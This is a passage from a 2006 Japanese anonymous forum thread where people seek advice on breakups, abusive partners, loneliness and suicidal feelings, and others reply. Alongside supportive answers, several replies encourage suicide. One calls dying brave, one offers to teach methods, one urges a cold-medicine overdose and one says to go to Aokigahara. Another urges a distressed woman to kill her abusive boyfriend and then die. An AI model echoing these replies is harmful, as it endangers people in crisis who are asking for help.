彼と話をする度、喧嘩の嵐です。それに10ヵ月も経ち、私が彼に対する気持ちが薄れてきてしまいました。私がわがままなのですが、もう好きじゃない。というと、頑張って好きになって。と言ってきます。人を好きになると言うのは頑張るものなのでしょうか。

206 :φ(^ω^メ )用なしぬこ ◆S4asYImtL2 :2006/11/09(木) 01:10:24 ID:B1z/7diN
(メ^ω^)>>203 嘘もネタとして楽しめるのがネットのいいところだとおもうお
     自己マンできる趣味があってうらやましい
(メ^ω^)カキコに反応なくても笑顔だお

207 :マジレスさん:2006/11/09(木) 01:10:37 ID:drOHJOyi
正直、私は彼と別れたいのです。だけど、別れの言葉を言ったらもの凄い勢いで怒りそうで、恐くてわかれられません。彼は自分の不安をとりのぞきたいのか、私に好きかどうか聞いてきます。

208 :マジレスさん:2006/11/09(木) 01:10:42 ID:4RVHOBP8
>>203
大変な経験をされたんですね。
今まで苦労した分、今はやりたいことを思い切りやってもバチは当たらないと思いますよ。
私が同じ立場なら堂々とやります!(笑)
育児やお仕事大変でしょうけれど趣味をこれからも大切にして、
心身共に大事にして下さいね。

209 :マジレスさん:2006/11/09(木) 01:12:39 ID:jyEbzbCa
>>203
同じ趣味の人なら、年齢は気にしないと思います
あなたは、同じ趣味の友達が何歳かということを問題にしますか?
誰かに迷惑をかけていないのなら、何歳でどんな趣味でも自由なのではないでしょうか

210 :マジレスさん:2006/11/09(木) 01:13:08 ID:drOHJOyi
だけど、実際私は別れたい、もう好きじゃないと思ってるので、いつもあいまいな返事しかできず、そこでまた彼を不安にさせてしまうのです。こんな事をやってかれこれ2ヵ月が経ちました。
自分のわがままだって分かっているのです(;_;)
自分は別れたいのに、どうして良いかわかりません。たくさん怒ってください。そしてどなたかアドバイスや背中を押してくださる方いましたらよろしくおねがいします(>_<)

211 :204.205.207.210:2006/11/09(木) 01:15:16 ID:drOHJOyi
長くなって申し訳ありません(;_;)

212 :203:2006/11/09(木) 01:16:33 ID:pzo0FhyY
皆さん、レスありがとうございます。
正直心が軽くなりました。
今まで年齢を気にした事は無かったけど、やはり心のどこかで
年齢を気にし、馬鹿にされるとか思い、打ち解けて誰かと
趣味の話をする事が出来なかったので。
でもお陰で頑張ってやって行こうと思います。
人に言われようがやはり趣味ですから頑張ります。

213 :150:2006/11/09(木) 01:21:26 ID:x6W/3Lwf
ありがとうございました。

214 :マジレスさん:2006/11/09(木) 01:23:56 ID:4RVHOBP8
>>210
彼は貴方に依存しているんですね。
貴方が好きなのではなく、
貴方と別れることが寂しくて耐えられないんでしょうね。
頑張って好きになる必要はないです。

依存している場合、貴方が心配されているように、
彼が物凄く怒ったり、
別れたくないあまり異常な行動に出ることもあるかもしれません。
物理的に距離を取る(携帯を変える、会わない等)は出来ませんか?
出来ないのであれば、彼が貴方に気持ちがなくなるくらい嫌われる行動を取ってみるのも一つです。
後は第三者を挟んで別れるように仕向けてもらうとか…

参考になれば幸いです。

215 :φ(^ω^メ )用なしぬこ ◆S4asYImtL2 :2006/11/09(木) 01:24:10 ID:B1z/7diN
(メ^ω^)>>ID:drOHJOyiぼくも腐れ縁を切るのにかなりの労力と自己嫌悪をようしましたお
     あきただけなら少しはなれてみるのがいい
     もうダメだとおもったら決断ははやいほうがいいと思うお

216 :マジレスさん:2006/11/09(木) 01:35:37 ID:1W9oDiOQ
美術関係で一番金かかるのって何?やりたいんだけど。

217 :マジレスさん:2006/11/09(木) 01:36:16 ID:QJr7dewX
こんにちは。
2ヶ月ぐらい前に彼氏の暴力の事で相談させてもらった事があるんですが・・・
その時別れたほうがいいって答えをいくつか頂き・・・
それでもまだ別れることができなくてずるずるしています。
別れられない原因は全部私が悪いのですが・・・
いいときにはすごくとってもやさしい人なので別れることがいまだにできずにいます
彼氏が原因でウツとパニック障害になり今は心療内科にかよっています。
今もすごく息が苦しくてダメだと思っても自傷行為しちゃいそうになる自分がとってもこわくて
ここにかかせていただきました。ごめんなさい。
彼氏は私が苦しんでるのわかってるのですがさっきまでいたので
でもエッチがおわるとさっさとネカフェにゲームしにいって今は連絡がつかない状態なので
みなさんにきいてもらうだけでも気持ち心がやすらぐんでかかせてもらいました・・・
長々すいませんでした

218 :マジレスさん:2006/11/09(木) 01:40:02 ID:3NisteIc
>>216
美術でお金かかるのは日本画だと思うよ。
水彩画から始めるのが無難。
工芸系ならガラスがお金かかる。

219 :マジレスさん:2006/11/09(木) 01:46:28 ID:pPtlZtzQ
俺なんて何をやっても失敗ばっかりの駄目人間で
俺なんて死んだって誰も悲しまないだろうし、
生きていても辛いだけなので死んでもいいですか?

220 :マジレスさん:2006/11/09(木) 01:47:23 ID:P6w+dua8
>>38
同板でも書きましたが、その後いかがでしょうか?

221 :マジレスさん:2006/11/09(木) 01:47:43 ID:m/IFF25b
>>196
今別れを切り出すメールがきて電話で話しました
10年近く付き合ったので やはり断りづらかったと思う
仕事の事情で彼自身が半ノイローゼ気味になっているといわれ
責めることは出来なかった 薄々冷めていくのは感じてたし でも私が決断出来ず 悩んで月日が流れた気がします

222 :マジレスさん:2006/11/09(木) 01:50:14 ID:qyvNRwqJ
>>219
死にたいのですか?
死ぬには色々準備が要りますよ?

誰も悲しまないから、って言うのは免罪符でもなんでもないですよ。

223 :マジレスさん:2006/11/09(木) 01:52:12 ID:pPtlZtzQ
>>222
何の準備がいるんですか?

224 :マジレスさん:2006/11/09(木) 01:55:53 ID:qyvNRwqJ
>>223
まずは、どんな死に方をしたいかにもよります。
キレイに死にたいのか、あっという間に意識を失いたいのか、部屋で死にたいのか
誰にも迷惑をかけたくない死に方なのか、

そのためには、あなた、本当に死にたいですか?

225 :マジレスさん:2006/11/09(木) 01:57:33 ID:pPtlZtzQ
>>224
誰にも迷惑をかけずに死ねればいいです。

226 :マジレスさん:2006/11/09(木) 01:58:27 ID:0MkOW4i7
死にたい奴を止めるなよ。むしろ勇気ある行為だと認めろ

>>225
人の了解なんていらん。自分で思う道を進めよ。

227 :マジレスさん:2006/11/09(木) 02:03:51 ID:qyvNRwqJ
>>224
本当に死にたいのですね?

それは何故ですか?支障ない程度に話してくれれば、
解決策、見合った方法もお教えできるのですが。

228 :マジレスさん:2006/11/09(木) 02:04:32 ID:tLNgo37k
>>225
いいかげんに自分を追い詰めるのはやめてください。
あなたは、自分で自分を駄目にしているんですよ
少しでも良いので、前向きに考えてみてはどうですか?
あなたの思いが、あなたの現実を創ってるんですよ
それに、身近な所に幸せはあるものですよ?
それに気づくのもあなたしだいです。


229 :マジレスさん:2006/11/09(木) 02:04:36 ID:qyvNRwqJ
ちがいました、
上記は>>223

230 :マジレスさん:2006/11/09(木) 02:05:39 ID:qyvNRwqJ
しまった>>227>>223

>>228はわたしではない

231 :マジレスさん:2006/11/09(木) 02:06:23 ID:0MkOW4i7
>>227-228
お前らみたいな奴らにそう言われるから219が死にたいと思うんだろ。

232 :マジレスさん:2006/11/09(木) 02:08:08 ID:tLNgo37k
>>231は人の心が読めるんですか?
それとも身近な方なんですか?

233 :マジレスさん:2006/11/09(木) 02:08:52 ID:pPtlZtzQ
>>226
わかりました。ありがとうございます。

>>227
自分の将来に希望が持てません。
派遣社員でワーキングプアな一人暮らしなので
貯金して転職する資金もありません。
また、彼女いない歴=年齢でカップルを見ているだけで
非常に腹立たしくなり死にたくなります。
こんな自分に生きる価値は無いと思い死のうと決意しました。

>>228
前向きに考えようと努力しました。でも駄目でした。
もうポジティブに考えられる要素は何もありません。

234 :マジレスさん:2006/11/09(木) 02:08:53 ID:m6+znKh+
誰にも迷惑をかけずに死ぬ方法なんてあるのか?
海の藻屑となるとかは身内が心配して捜索願を出すかもしれない

もしあるとするなら地雷探しで事故死とか?

235 :マジレスさん:2006/11/09(木) 02:13:00 ID:0MkOW4i7
>>232
よく「空気読めないよね」って言われない?

236 :マジレスさん:2006/11/09(木) 02:15:43 ID:qyvNRwqJ
>>233
ではあなたは、派遣社員で一人暮らし、転職の術もなし、
彼女いない歴=年齢
これに当てはまる者は死んでもおかしくない、と言うことですね?

あなた意外に何人いるのでしょうかね?
そのかたがたが生きていることに疑問を持たなかったのですか?

>>234
ありますよ

237 :マジレスさん:2006/11/09(木) 02:16:30 ID:tLNgo37k
>>233
そうですか
ただ誰にどういわれようと、決めるのはすべてあなたの心ですよ?
それに別にポジティブに考えなくても良いんですよ?
すべては、ただあなたの思いが現実を創っているだけです。

238 :マジレスさん:2006/11/09(木) 02:25:41 ID:k9ehV6hA
相談にこうしてレスしてくれる人がいること自体幸せだと思うけど。

239 :135 157:2006/11/09(木) 02:27:54 ID:EXPW+2ty
女友達とたくさん話たりして……忘れようとしてるんですが…(>_<)

240 :マジレスさん:2006/11/09(木) 02:29:18 ID:qyvNRwqJ
>>233

あえて言いますが、疑問を持たないのなら、
あなた一人にとってはとても辛いことなのでしょう。
それは、他人がどうこう評価することではありません。

本人が辛い、と思っている以上、比べられないものでしょう。
だから別に、死にたいと言う理由は恥ずべきことではありません。
そして、控える必要もないと言うことです。

241 :マジレスさん:2006/11/09(木) 02:32:41 ID:901RMyjE
死にたいか・・・。



俺なんてビールとチー鱈を食いながらフタコイのDVD見てるのが一番幸せなんだが・・・。

242 :マジレスさん:2006/11/09(木) 02:41:03 ID:qyvNRwqJ
>>233
聞いてくれていますか?

死にたいのなら、幾らでも方法をお教えしますよ。
ですが、少しでも思いとどまってしまったのなら、
まだ選択肢はあるのかもしれない。

一度死ぬといってしまったからって撤回が聞かないわけでもないし、
しなきゃいけないわけでもない。

私は、あなたが欲しいと思う術を、状況に応じてお教えするだけです。


243 :マジレスさん:2006/11/09(木) 02:44:45 ID:yIcHxug2
今やってるバイトに往きたくない。
しかし30日まで、そのバイトに行き続けなければ 給料(14万)が払われない。バイトは週4回。

骨折したフリとかしていいですか?

244 :マジレスさん:2006/11/09(木) 02:46:30 ID:UlEa44Te
>>217 (心療内科に通っているのなら、先生(カウンセラー?)のアドバイスが1番の特効薬だと思うんだけど、・・・・・)
【参考意見】あなたは相当、彼氏のこと好きなんだね! 
でも、暴力を振るう人(キレル人)の性格を治すのは、かなり難しいことだと思うよ。(おおげさだけど、一生治らないと思った方がいい。)
だから、別れたほうがいいよ。&あなたは、彼氏に゛利用"されていることを早く気づくべき! エッチがおわるとさっさとネカフェにゲームしに行って
今は連絡がつかない状態。(ネカフェにゲーム=あなたのお金 ← YESの場合、超最悪。利用価値が無くなったら捨てられるよ!)
暴力+ウツ+パニック障害+・・・・・って、これ以上、怪我や病気を防ぐ為&ウツとパニック障害を1日でも早く完治させる為にも
別れることを(私は)すすめます。そして、もっともっと゛自分"を大切にして下さい。
(読みづらい文章で&気の利いたアドバイスが出来ずに、すみません。) 

245 :マジレスさん:2006/11/09(木) 02:48:29 ID:qyvNRwqJ
>>243
労働基準法をプリントアウトして、やめる旨告げてみてください
少なくとも以前の給料は払われるはずです。
今後の推定の給料の資産であれば別ですが。

246 :マジレスさん:2006/11/09(木) 02:51:17 ID:yIcHxug2
レスサンクスです。

水系の仕事なんで、そういう法律関係のことは出来ないんです。
893がでてくる…。

247 :マジレスさん:2006/11/09(木) 02:57:38 ID:qyvNRwqJ
では、内容証明、及び恐喝について事前に調べておく必要があるでしょう。
警察としても、893は取り締まりたくも証拠がないのであり、
・・・・・

骨折でいいのかもしれませんね。
考えてみれば一般人が身を挺して証拠を挙げ連ねる必要もない。
あなたが法律に守られる立場でいたいのなら、
内容証明を突きつけるのも、そうしないのも賢明ともいえますね。

248 :マジレスさん:2006/11/09(木) 03:00:26 ID:yIcHxug2
レストンクス

必死に「骨折でいい」という言葉を探してる器の小さい自分に鬱になった。
改めて言わせて。こんな私にレスしてくれてありがとう。

249 :マジレスさん:2006/11/09(木) 03:03:46 ID:qyvNRwqJ
>>248
光栄です。
お礼を言ってくれるのであれば、欝にはならないでください
お願いです。

250 :マジレスさん:2006/11/09(木) 03:08:59 ID:901RMyjE
>>247
お水で内容証明なんてやったら後々面倒な事になるし、費用も1or2万位かかるだろ?
嘘もバレたら面倒だから 取り合えず、嫌でも正当法に店で働きやめる日までいるが一番穏便にすむ

251 :マジレスさん:2006/11/09(木) 03:15:15 ID:UlEa44Te
>>219
死んでもいいですか? = NO! 絶対だめ!

(何をやっても失敗ばっかりの駄目人間?)いいじゃないか!そんな事、気にする事は全然ない!完璧な人間なんていないよ!
変な考えは捨てて、あなたの趣味(夢中になれること)に没頭しろ!or診療内科に行きなさい! 

252 :マジレスさん:2006/11/09(木) 03:36:31 ID:fKt/2rEB
>>184さん
婚約者がいらっしゃるのですか?
昨日は、将来結婚できる人とめぐりあえるのか、男の人は自分のおいたちに嫌悪感をもたないか、などを気にされていたようでしたが。

あなたの決断や今までの行為はすべて悩みぬかれた上で出された結論でしょうから、それについてどうというつもりはありません。
また、シングルマザーや片親に差別意識をもつものでもなんらありません。

その上で

あなたは、子供をご自分の私物、モノのように扱われていますね。

日本でのハーフでしかも片親の子供のうける差別。それがわかっていてなお子供を作り産む決断をし、
また養子にしても将来、実の親は今目の前にいる育ての親ではなく外国人で、しかも母親は分かるが父親は誰だか不明と知ったときの子供の心境。

そんなたまらなく辛くなることが分かっているのに、でもあなたは尊い命を作る決心をされた。罪を背負う覚悟があるならとても立派です。
ところがあなたの言葉は「育ててやってもよかったんだけど、まあ養子にやったよ。子供にとってベストの選択をしてやったんだからもうOK私には関係ない。それよりももうそれはそれで片付いたから私は私で幸せになりたいわぁどうしたら良い?」です。


あなたの婚約者はそんなあなたを受けとめてくれる方なのですか?

253 :マジレスさん:2006/11/09(木) 03:40:37 ID:oGCTRb3c
だれかオレの悩みを聞いてくれませんか?

254 :マジレスさん:2006/11/09(木) 03:44:19 ID:VpjQ5Cs4
>>253
どうぞ。

255 :251:2006/11/09(木) 03:59:38 ID:UlEa44Te
>>251
(訂正) 診療内科 → 心療内科

肝心なところを間違えてしまって、すみませんでした。

256 :マジレスさん:2006/11/09(木) 04:01:47 ID:akvBRhWZ
聞いて頂けますか?
ついさっき財布がないのに気がついて、探しても探しても見つからず、警察に電話しました。
財布にお金は二千円しか入ってなかったのですが、キャッシュカード三枚や免許証やTSUTAYAの会員証や診察券も入っていたので悪用されないかかなり不安です。

明日も探して、もしなかったら口座止めたり、免許証再発行したり、会員証を止めたりしなきゃいけないとは思うのですが、うつ病でヒッキー生活を送ってる自分にはつらいです。
ちなみに財布は深夜にバイクに乗ってた時に落としたと思います。昼間に外を出歩くのもキツいと思います。どうしたらいいでしょうか?

257 :マジレスさん:2006/11/09(木) 04:03:52 ID:fKt/2rEB
>>252続き
長文非礼失礼

あなたの決断や行動が正しかったのかどうなのかとか
産まれた子供は本当に不幸なのかどうなのかとか

そんな話をしているわけではありません。あなたの決断の是非や子供自身が将来幸せを感じるかなどは、誰にもそんなことを今問う権利はありませんし分かりもしません。

ただ、仮に後悔するような過去でも、過去は悔いるだけのものではなく、また忘れて終わったつもりになるものでもなく、
よく見て反省して吸収して、
そして今を胸を張って生きるための経験や人生観に昇華しなければならないものだと思います。

今のあなたには、あなた自身が自分の過去にもっと向き合い
あなたが犯した過ちを一生抱え賠って生きていく勇気と心の成長が必要だと思います。

辛いから逃げて目を背けておられるのか、単に自分勝手な性格をされているのかは分かりませんが

もう少し内省的になられても良いような気がします。

その子が大きくなった時どうするんですか?あやまる?抱き締める?会わないで無視する?
その時その子はどんな顔をするのでしょうか。

そこから逃げずに、あなたの犯した過ちを賠う気持ち、強い想いがおありでしたら
婚約者の方にも受け入れていただけると思います。

258 :マジレスさん:2006/11/09(木) 04:09:19 ID:qDqZ40hw
>>256
引きこもる事と財布の中身を悪用されるのを防ぐ事をあなたの天秤にかけて、
大事だと思うほうを実行に移せば良いと思うよ。

259 :マジレスさん:2006/11/09(木) 04:18:28 ID:akvBRhWZ
>>258さん

その上昼夜逆転の生活なんで手続きするのキツいです・・・
体も動かないし、最悪です・・・orz

もうなにやっても悪い方向ばかりに行って嫌です。

260 :マジレスさん:2006/11/09(木) 04:35:14 ID:qDqZ40hw
>>259
うつ病と財布落としたのは関係ないからさ。

昼夜逆転で体動かないでキツいっつうて、
何もしないで財布の中身悪用される方が悪い方向に向かうと思うんだけど。

行動すりゃある程度は悪用は防げる訳だし。

261 :マジレスさん:2006/11/09(木) 05:05:53 ID:onkOoHta
16才の高校生です。
説明しにくいので省きますが、ある事情により
自宅のお風呂へ入る事に抵抗があり、
ほぼ全く風呂に入れず朝出かける前に服を着たまま朝シャンだけ
しているという生活が続いています。
毎日毎日朝シャンしなければならないせいで色々と
生活に支障がありますし、心置きなくゆっくりお風呂に
入ったりシャワーを浴びたりもしたいです。
他にも大嫌いな兄と部屋が共用というのもあり、
一人暮らしが出来たらどれだけ人間らしい暮らしが
出来るだろうかと憧れています。
親の知り合いが管理しているとかで、一人暮らしにはとても
快適なマンションが家賃7万円で借りられるんだそうです。
しかし、普段よく遊びに行く場所や学校
(と言っても、通信制なので月に3回ほどしか行きませんが)
からも30分ほど遠くなり、近辺にはコンビニや外食店ばかりで
そういった意味では生活がしづらそうです。
恥ずかしながら今はヒッキーでニートなので出来るかどうか不安ですが、
アルバイトをして月に10万余り稼いで、ちゃんと頻繁に
出かける事で昼夜逆転を直し人間らしい生活をし、
遊びも満足の行くように出来たらなと思っています。
ただ、母親だけの片親の為、生活は裕福というわけではありません。
毎日朝から晩まで働いてくれているおかげで、
なんとかちゃんと生活は送れてきいますが…。

262 :261:2006/11/09(木) 05:07:06 ID:onkOoHta
前おきを愚痴のようにだらだらと語ってしまいどうもすみません。
相談内容なんですが、
こんな環境なのにただ恥ずかしいやらプライベートな環境が
欲しいなどという理由でわざわざ一人暮らしをしてもいいのかという事と、
借りる部屋はそこじゃなくちゃんと場所を選び
もう少しランクを下げた方がいいのかという事と、
今まで中学校を全く行かずに卒業して通信制高校も
昼夜逆転生活のまま徹夜明けで通ったりしているような自分に
果たして月10万も稼ぐ事が可能であるのかという事です。
ただただ理想を思い描いてみたのですが、
正直言うと甘えではありますが今現在ただ
遊びの予定を入れる事すら億劫で、
二日続けて予定を入れるなんて考えられないような自分に、
きちんと勉強を両立させつつバイトをして一人暮らしの自立なんて、
無謀な妄想ですよね…。
高卒はただ周りに促され仕方なくめざしているだけで、
別に学校をやめてバイトでその日暮らしというのも悪くはありませんが。
ただ将来的にプログラマーなどパソコンで出来るIT系の
仕事に憧れているんですけど、
それならやっぱり高卒資格は要りますか?
いえ、今現在そもそもパソコンを持っていないので
スキルがあるなんていうわけでは無いんですけどね。

あっ……すみません。
どんどん色々書いてしまって、無駄に長くなってしまいました…。
色々と書きすぎてしまって申し訳無いのですが、アドバイスというか意見などを聞かせて頂けると幸いです。

263 :マジレスさん:2006/11/09(木) 05:32:34 ID:tLNgo37k
>>261
あなたを制限してるのはあなた自身ですよ?
何も不安になる必要はないんです。
それに、何かしたくても、出来ない人もいるんですよ?
あなたは今、自分のやりたい目的をちゃんと持ってるじゃないですか
それはすごく素晴らしい事ですよ。
後は、ただ実行すれば良いだけです。 
がんばってください。



264 :マジレスさん:2006/11/09(木) 06:21:44 ID:QJr7dewX
>>244さん
レスありがとうございます。
あれからはくすりを飲んだので精神的に安定してねてました。
彼氏に貢いでる訳でるのはないのですが
普段すごくやさしい時は逆にたとえばかばんとかでもさりげなくもってくれる人
旅行にもよくつれていってくれるしお金にこまったら逆にだしてくれたりしているんですが
他にも色々とやさしいとこがあるだけに別れられませんでした。
やさしいとこなんかなけりゃ別れるのなんかすごくらくなんだけど・・・
ただ、いきなり切れだすと最近はからだてきな暴力はなくなったんですが
それで病院になんかいか行くはめになったので・・・・
精神的な言葉の暴力がたえきれません。精神科の先生にも冷静にしゃべれればいいのですが
泣いてしまってうまく言いたいことが全部言えなくて・・・
病気ですごくしんどくなってめまいがおきて街中でうずくまってしまっても俺が買ったコート汚れるやろ
何それぐらいのことで倒れてるのとか、はずかしいやんとか周りの関係ない人のが
よっぽど心配してよってきてくれました。
最近は彼氏がネカフェゲームにはまってる分私が発作みたな症状がでてしんどくなって助けてっていっても邪魔されるのが嫌らしく
ネカフェにいってるあいだはずっと電源きってます。
今回はがんばって別れたいです。
一緒にディズニーとかたのしい事を思い出すとすごく戸惑うのですが
いまの彼氏とつきあっていてもウツ パニックは絶対治らないような気がするから逆に悪化していってるから
別れるようがんばります。ありがとうございました。

265 :261:2006/11/09(木) 06:22:33 ID:onkOoHta
>>263
!!!

素晴らしいお言葉、ありがとうございます…。
あはは、そうですよねw
色んな事に関しても、ずっとそうでした。
やる前から「出来るのかなあ」「出来るわけない」と、
こんな事を理由にしてやらずにいたらまるで完璧主義者ですよねw
おかしいですよね、そもそも完璧どころか底辺の人間なのに。

自分を制限しているのは自分自身、きっと今の自分が最も
気付かなければいけない事だったんだと思います。
「甘えてるだけ」と罵られてしまうだけだと思い
書き込むのをずっと躊躇していたいたのですが、
あなたの優しいお言葉にはとても勇気づけられました。
本当にどうもありがとうございます。

…惚れました。

266 :マジレスさん:2006/11/09(木) 06:56:46 ID:KddKWYNr
>261,262,265
『言うは易く行うは難し』
それができれば世の中こんなにニートはいないんだがな。
一つ一つ行動におとしていかないと、言ってるだけの間は何もやってないのと同じだぞ。
まだ16なら何でもやって苦労しろ。

267 :マジレスさん:2006/11/09(木) 07:20:13 ID:tLNgo37k
>>265
あなたなら大丈夫ですよ。
それに完璧な人間などいないんですよ?

>266さんの言うように、一つ一つ
積み重ねて行くと良いかもしれません。

268 :マジレスさん:2006/11/09(木) 08:23:25 ID:UMF183bj
彼氏に脅されながら付き合ってます。
何かあればお金か暴力で解決され、別れたいって言うとまた暴力。
むかついたりすると私の家や会社に電話かけてきます。
私の意見は全否定されます。

どうしたらいいかわかりません。精神的にきついです

269 :マジレスさん:2006/11/09(木) 08:27:50 ID:rv5p4VdU
>>268
警察に相談してください。一応、名を伏せて相談し、これなら警察が知っても大丈夫だと判断したら名を明かし
警察にすべてを任せたらどうでしょうか。

270 :マジレスさん:2006/11/09(木) 08:41:51 ID:pPtlZtzQ
すいません。書いた直後に寝てしまいました。

>>237
もう生きていることが辛いです。
なにもいいことがありません。

>>240
では誰にも迷惑をかけずに死ぬ方法を教えてください。

271 :マジレスさん:2006/11/09(木) 09:28:14 ID:xDXOXbSZ
>>270
遅かれ早かれみんな死にます。

ならば、生きたいと願う人を、可能な限り救ってから死なれては如何ですか?
それからでも遅くはないと思います。

272 :マジレスさん:2006/11/09(木) 09:32:07 ID:q8eZbv5k
>>270
>誰にも迷惑かけずに死ぬ方法…

生きるも死ぬも難しいよね。
人は皆、迷惑かけたり、かけられたり…なんじゃないかな?
心が疲れている時は無理しなくて良いと思う。
回答になってないかもですがゴメン。

273 :マジレスさん:2006/11/09(木) 10:02:53 ID:3lc6ZgLx
>>270
誰にも迷惑を掛けない死に方は分かりませんが、焼身、ガス、ビルからの飛び降りは、巻き添えを出し易いので、お勧めできません。

274 :264です:2006/11/09(木) 10:29:39 ID:QJr7dewX
>>268さん
私とじゃっかんにてますね。
私も決心して今別れを切り出しました。
じゃ今までやってきた買ってもらったプレゼントされた服代、旅行代金他色々
なかかったお金かえせって言われました。
そんなお金プレゼントされたものだし用意もできず・・・
逃げたら実家にいって脅しかけるからっれ言われています。
ウツとパニックだけでもタイヘンなのに・・・
全然お金のことばかり・・・・もういきてるのがマジで嫌になってきました

275 :マジレスさん:2006/11/09(木) 10:30:02 ID:puJJCR2F


276 :マジレスさん:2006/11/09(木) 10:34:03 ID:rIIf9APW
どうせなら犯罪やって死のうよ。そのムカつく彼氏を殺すとか。

277 :マジレスさん:2006/11/09(木) 11:03:16 ID:h8gFsk0F
昔からどうも、繊細過ぎて無駄に悩んでいる気が…。
何か人から見たら滅茶苦茶しょうもないようなことで
本当に悲しくなったり、辛くなってしまいます。

個人でやってる仕事がうまくいかなくて、今度かなり
安いアパートに引っ越すことになったのです。
それは仕方ないし、また心機一転頑張ろうと思うので
いいのですが、まぁまぁ値段のわりにいい物件も
見つかり、ほっとしていたのですが…。

さっき、紹介してもらった物件を決めようと思って
不動産に電話したのですが、親切だった担当者が不在で
別の人が出たんです。最初は対応良かったのですが、
どこの物件かと聞かれてその安い物件だと答えた途端に
何かすごく横柄で面倒臭そうな対応に変わった気が…。
めげずにいろいろ聞いたりしたのですが、やっぱり最後まで
不親切だったような気がして、すごくショックです。

やっぱり気にし過ぎかな。
と言うか、仮に本当につんけんされていたとしても
そんなの気にすることないと自分でも思うんですが、
何かすごく悲しいと言うか…次に契約で訪れるのも
肩身が狭いなぁとか思ってしまいます。
こう言う性格って何だかなぁ…。

278 :マジレスさん:2006/11/09(木) 11:17:06 ID:QJr7dewX
殺せるなら殺したいね・・・
でも自殺するより犯罪のが勇気がないや
ってかすごく後悔することをしてやりたい。
かえすお金ないよっていまでんわでしゃべってたら
体売ってきて金かえせって言われた・・・・
しにたいよぉぉぉぉぉぉぉ
なんでこんなこおちわれなきゃだめなの
もうげんかいです
いきてたくない
風邪薬ぐらいじゃしねないよね・・・・
パイプユニッシュ洗剤でしねるかな
ごめんなさい・・・・こんなことかいて・・・
もうボロボロなんです

279 :マジレスさん:2006/11/09(木) 11:24:39 ID:+cftqJ8q
>>277
あなたのような人は場所、場合、状況によってはとても
有能と評価されると思う。
でも自分の感情をぐっとこらえてその場面を一歩ひいて全体を
見るように心がけたほうがいいと思う
いつも他人任せのような気持ちの持ち方のようで・・
他人が親切だから自分の気持ちも平静を保てるというか
その不動産屋も商売だし、また営業の人もそれぞれだから
まとまらないですがw

280 :マジレスさん:2006/11/09(木) 11:28:45 ID:3vCY3xb4
自殺を考えるようになって、最近このサイトをはじめて見ました。今、薬を飲んだりして楽に死ねる方法がないかさがしています。誰か知ってる方はいませんか?いたら教えてほしいです。お願いします

281 :マジレスさん:2006/11/09(木) 11:40:31 ID:rIIf9APW
薬で死ぬなら風邪薬とか一気に飲め。

282 :マジレスさん:2006/11/09(木) 11:49:27 ID:6xG5HkNh
彼女を作るにはどうすればいいのでしょうか?

283 :マジレスさん:2006/11/09(木) 12:27:37 ID:3vCY3xb4
風邪薬なんかでかんたんに死ねるんですか?

284 :マジレスさん:2006/11/09(木) 12:35:17 ID:Jt9RaVTJ
問題児の息子の学校問題やら、(学年主任に目をつけられて、なにかというと、親
がよびだされて、文句いわれる)仕事(自営業だが、旦那がすぐ
胸が苦しいとかいって、仕事しない)とか、育児(3歳でまだ手がかかる
喘息もちで、保育園やすみがち)でもう頭いっぱい、飽和状態。3歳の
子のために生きなきゃと思うけど、へたれそう。旦那嫌いだから別れて
3歳の子だけと生きていけたらまだ楽だと思うのだが..
働かない男といてもいいことないよね?

285 :マジレスさん:2006/11/09(木) 12:43:53 ID:rIIf9APW
樹海行け。

286 :マジレスさん:2006/11/09(木) 13:09:21 ID:rv5p4VdU
>>284
上の二行がわからないのだけど。
今のままでは別れるしかないと旦那に言いなさい。改まってくれるなら別れる必要がない。
何か策は無いかといろいろ考えて、最後になったら、三才の子を連れて、どこか遠くの旅館にでも行って、働かせてくれと頼めば。

287 :マジレスさん:2006/11/09(木) 13:13:21 ID:q8eZbv5k
>>278
そんな男のために死ぬなんて馬鹿げてるよ!!

288 :マジレスさん:2006/11/09(木) 13:16:37 ID:q8eZbv5k
>>282
先ず、誰かを好きになる所から始めて→
その人にふさわしい自分になる為に頑張る→
告白する。

289 :マジレスさん:2006/11/09(木) 13:23:14 ID:UMF183bj
警察って役に立つんですか??
彼氏の父親も暴力で何度か逮捕されてるらしいので相手の親に言っても無理だし、、

290 :マジレスさん:2006/11/09(木) 13:28:12 ID:9ShSlmB4
人間嫌いの俺はどーすれば人を好きになれるの?
まじで・・
ここ7〜8年人間見るとむかつくし、
俺から人の中に入っていくなんて考えられねーし、
俺にしゃべりかけんなってオーラだしまくってるからな。

291 :マジレスさん:2006/11/09(木) 13:33:18 ID:WN/r6xsA
>>289さんみたいな場合は会社とか辞めて引っ越すか、弁護士に相談
するしかないんじゃない。あとはマスコミに警察の対応について不満があるっていうとか。


292 :マジレスさん:2006/11/09(木) 13:35:15 ID:+cftqJ8q
>>290
具体的に物事を考えることを心がけること
自分の中で簡単に出した答えに納得せず、もうっ一歩踏み込んで物事を考える

人間嫌いのあなたがどうして人を好きになる必要があるの?w




293 :マジレスさん:2006/11/09(木) 13:35:51 ID:WN/r6xsA
>>290さんは会社とかで人間関係に困ってるんですか?

294 :マジレスさん:2006/11/09(木) 13:36:32 ID:4MrptMvh
>>289
怪我でもさせられて刑事事件扱いでもならなきゃね〜
折れの妹の時は、相手の男が母親に怪我させてパトカーが来て近所も大騒ぎw
まあ、喧嘩とかしょっちゅうしてた懲りないヤツだったらしいが。

アンタも家族とか巻き沿いにする前に、腹くくって身を隠したほうが・・・
もちろん住所変更なんてしちゃダメ。

295 :マジレスさん:2006/11/09(木) 14:10:04 ID:rv5p4VdU
>>290
君は他人と自分との間に垣根を作っているのだ。
垣根を作っていやなことをしないでおこうと必死でもがいている。

その垣根を少しずつでいいから小さくしていくことだ。
まず、君に近寄ってきた人を嫌がらずに相手することだ。
いやな気分になったっていいじゃないか。そして少しずつ人を好きになる。

296 :マジレスさん:2006/11/09(木) 14:42:57 ID:73a22Mxy
大学内や町を歩くときどうしても前を見て歩けません、俯いたり目そらしたり。見られたり目が合うのが怖いです。克服例とかあるのでしょうか

297 :マジレスさん:2006/11/09(木) 15:10:22 ID:WN/r6xsA
>>296
自分に自身をつけるとか。


298 :マジレスさん:2006/11/09(木) 15:11:08 ID:TqAiMkta
>296
あたしもそうだった。
他人に見られるのも嫌だし、あたしも人を見るのと苛々する。
今も完璧に治った訳じゃない。
まずは自分を嫌いなことから克服して、人を嫌いなのに好きなふりをした。
それから要らないものは捨てた。
適当に育んだ愛や友情。
捨てた結果大事な真実は残ってた。
それだけあれば、前向いて歩ける。
電車もまだ急行は乗れないし、接客の仕事は辛いけど、支えがあるから生きてゆける。
まずは、
